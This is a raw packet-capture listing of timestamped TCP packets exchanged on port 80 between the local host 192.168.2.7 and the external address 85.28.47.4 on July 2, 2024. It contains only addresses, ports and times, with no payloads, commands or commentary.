Jul 2, 2024 12:21:05.148684025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148685932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148691893 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148704052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148720026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148721933 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148730993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148736000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148744106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148752928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148780107 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148780107 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148823023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149151087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149199963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149218082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149219036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149234056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149250031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149259090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149281979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149300098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149312973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149312973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149331093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149348021 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149348021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149363995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149379969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149383068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149395943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149411917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149411917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149429083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149445057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149446011 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149456978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149472952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149490118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149507999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149513960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149524927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149528027 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149540901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149559021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149573088 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149625063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.149864912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149883032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149899006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.149950981 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150006056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150023937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150054932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150070906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150074005 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150088072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150104046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150115967 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150120974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150130033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150137901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150152922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150160074 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150168896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150185108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150196075 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150202990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150227070 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150304079 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150522947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150540113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150557041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150583982 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150588036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150610924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150626898 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150644064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150660038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150675058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150682926 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150696993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150707006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150717020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150733948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150738955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150749922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150760889 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150765896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150782108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150794983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150798082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150814056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150815964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150834084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150839090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150850058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150866032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150887012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150899887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150917053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150927067 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150933027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150944948 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150949001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150965929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.150976896 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.150983095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.151010990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.151046991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.151364088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.151400089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.151416063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.151426077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.151432037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.151448011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.151448965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.151463985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.151479959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.151479959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.151495934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.151499987 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.151513100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.151526928 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.151530027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.151561022 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.151617050 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.235703945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.235732079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.235738039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.235791922 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.235853910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.235918045 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.235924006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.235934973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.235974073 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.236339092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236457109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236460924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236499071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.236506939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236512899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236644983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236736059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236740112 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.236741066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236746073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236751080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236756086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236767054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236783981 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.236816883 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.236960888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236965895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236975908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.236982107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237010002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.237027884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237031937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.237032890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237039089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237044096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237091064 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.237255096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237260103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237265110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237268925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237273932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237284899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237289906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237298965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237303972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.237304926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237318993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.237349033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.237349033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.237507105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237632036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237637997 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237643003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237643003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.237648010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237658024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237663031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237663984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.237668037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237679005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237683058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.237684965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.237709045 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.237729073 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.238126040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238132000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238142014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238147020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238152027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238162994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238168001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238172054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238174915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.238178015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238241911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238251925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.238295078 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.238338947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238343954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238354921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238358974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238363981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238373995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238394976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.238470078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238476038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238485098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238490105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238491058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.238495111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238507986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238511086 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.238512993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238518000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238523006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238528013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238533020 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.238538027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238543034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238548040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.238554001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.238711119 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.239104986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239120960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239149094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239164114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239173889 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.239177942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239192009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239200115 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.239206076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239221096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239222050 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.239362955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.239428997 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239443064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239471912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239485979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239487886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.239500999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239530087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239545107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239547014 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.239559889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239769936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239773989 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.239785910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239799976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239828110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239842892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239845991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.239857912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239872932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239882946 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.239901066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239917040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239918947 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.239931107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239945889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239959955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.239979029 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.239988089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.240003109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.240005016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.240017891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.240036964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.240046024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.240061998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.240066051 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.240143061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.240334034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.240349054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.240401983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.240452051 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.240497112 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325056076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325092077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325110912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325122118 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325143099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325189114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325206041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325247049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325263977 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325264931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325320959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325377941 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325411081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325428009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325443983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325464964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325506926 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325576067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325592995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325624943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325643063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325647116 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325656891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325676918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325689077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325692892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325715065 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325797081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325809956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325828075 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325839996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325855970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325856924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325874090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325889111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325901031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.325906992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325926065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.325928926 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326001883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326030016 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326056004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326066971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326083899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326131105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326148987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326172113 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326225042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326241970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326251984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326273918 CEST	80	49699	85.28.47.4	192.168.2.7
